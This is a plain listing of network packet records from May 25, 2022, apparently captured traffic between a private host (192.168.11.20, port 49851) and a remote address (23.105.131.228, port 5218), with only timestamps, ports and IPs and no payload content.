May 25, 2022 16:34:32.801254034 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.801282883 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.801393986 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.801415920 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.802956104 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.803143978 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.982814074 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.990699053 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.990859032 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.990943909 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.991019964 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.991074085 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.991189003 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.991238117 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.991314888 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.991360903 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.991471052 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.991564035 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.991687059 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.991745949 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.991916895 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.996032000 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.996179104 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.996301889 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.996483088 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.996488094 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.996593952 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.996658087 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.996800900 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.996993065 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.015628099 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.015875101 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.015991926 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.016102076 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.016143084 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.016151905 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.016344070 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.056551933 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.056760073 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.056790113 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.056941032 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.057059050 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.057101965 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.058463097 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.058522940 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.058665991 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.058707952 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.058936119 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.058990002 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.067297935 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.067538023 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.078872919 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.079027891 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.079117060 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.079217911 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.079355955 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.079473019 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.079586029 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.079591036 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.079715014 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.079776049 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.079838037 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.079962015 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.080015898 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.080092907 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.080208063 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.080776930 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.276971102 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.284168005 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.284358025 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.284514904 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.284632921 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.284755945 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.284832001 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.284883976 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.285147905 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.285216093 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.285226107 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.285310984 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.285434961 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.285474062 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.285598040 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.285608053 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.285686016 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.285810947 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.285934925 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.285988092 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.286060095 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.286185026 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.286192894 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.286310911 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.286439896 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.286612034 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.286622047 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.286685944 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.286741018 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.286854029 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.286859035 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.286942959 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.286983013 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.287087917 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.287405014 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.287601948 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.313574076 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.313853979 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.314044952 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.314060926 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.314135075 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.314225912 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.314368010 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.315618038 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.315860033 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.315902948 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.316106081 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.316227913 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.316237926 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.316276073 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.316414118 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.316428900 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.316492081 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.316652060 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.316765070 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.316775084 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.316948891 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.316991091 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.317096949 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.317146063 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.317346096 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.317352057 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.317552090 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.317662954 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.317792892 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.317965984 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.318698883 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.320209980 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.320461035 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.320497990 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.321563959 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.321775913 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.321913004 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.322175980 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.322304964 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.322343111 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.326745987 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.326889038 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.327259064 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.327379942 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.327464104 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.350090027 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.350260973 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.350295067 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.350425959 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.350583076 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.350626945 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.350708961 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.350795984 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.350888968 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.350930929 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.351044893 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.351142883 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.351183891 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.351295948 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.351345062 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.351479053 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.351547956 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.351641893 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.351684093 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.351794004 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.351847887 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.351851940 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.351962090 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.352036953 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.352044106 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.352171898 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.352180004 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.371879101 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.372044086 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.372143984 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.372265100 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.372387886 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.372509956 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.372807980 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.550051928 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.550203085 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.550327063 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.550394058 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.550407887 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.550584078 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.551831007 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.552031040 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.552901030 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.558871031 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.559010983 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.559166908 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.559216976 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.559374094 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.559497118 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.559535027 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.559611082 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.559621096 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.559801102 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.562247038 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.562433958 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.562494040 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.562628031 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.562800884 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.562819958 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.562868118 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.563038111 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.563081980 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.563153028 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.563244104 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.563343048 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.564177990 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.564336061 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.564488888 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.564565897 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.564817905 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.564846039 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.574887991 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.575031996 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.575042963 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.575122118 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.575138092 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.575232983 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.575248003 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.575372934 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.575412035 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.575536013 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.575622082 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.575675011 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.575798988 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.575889111 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.575911045 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.575922012 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.576025963 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.576167107 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.576277971 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.576287985 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.576371908 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.576452971 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.576498985 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.576554060 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.576570988 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.576639891 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.576709032 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.576797009 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.576898098 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.576960087 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.577003002 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.577121973 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.577193975 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.577248096 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.577421904 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.579468966 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.588406086 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.588548899 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.588645935 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.588715076 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.588810921 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.588893890 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.588937998 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.589145899 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.590401888 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.590635061 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.590871096 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.590886116 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.591011047 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.591135979 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.591171026 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.591283083 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.591444016 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.591476917 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.591562033 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.591645956 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.591737986 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.591783047 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.591896057 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.592000961 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.592021942 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.592196941 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.592196941 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.592307091 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.592396975 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.592469931 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.593918085 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.594135046 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.594242096 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.594250917 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.594352007 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.594518900 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.594531059 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.594698906 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.597356081 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.597584009 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.597763062 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.597930908 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.598041058 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.598253965 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.599457979 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.599555016 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.599687099 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.599720955 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.622570992 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.622775078 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.623845100 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.624196053 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.624397039 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.636564016 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.636694908 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.636832952 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.636862040 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.636940956 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.637074947 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.637111902 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.637244940 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.637362957 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.637409925 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.637501001 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.637597084 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.637681961 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.637742996 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.637839079 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.637948990 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.649203062 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.649324894 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.649403095 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.649435043 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.649539948 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.649627924 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.649692059 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.649837971 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.649893045 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.678894997 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.679091930 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.679094076 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.679203987 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.679311037 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.679397106 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.679442883 CEST	5218	49851	23.105.131.228	192.168.11.20
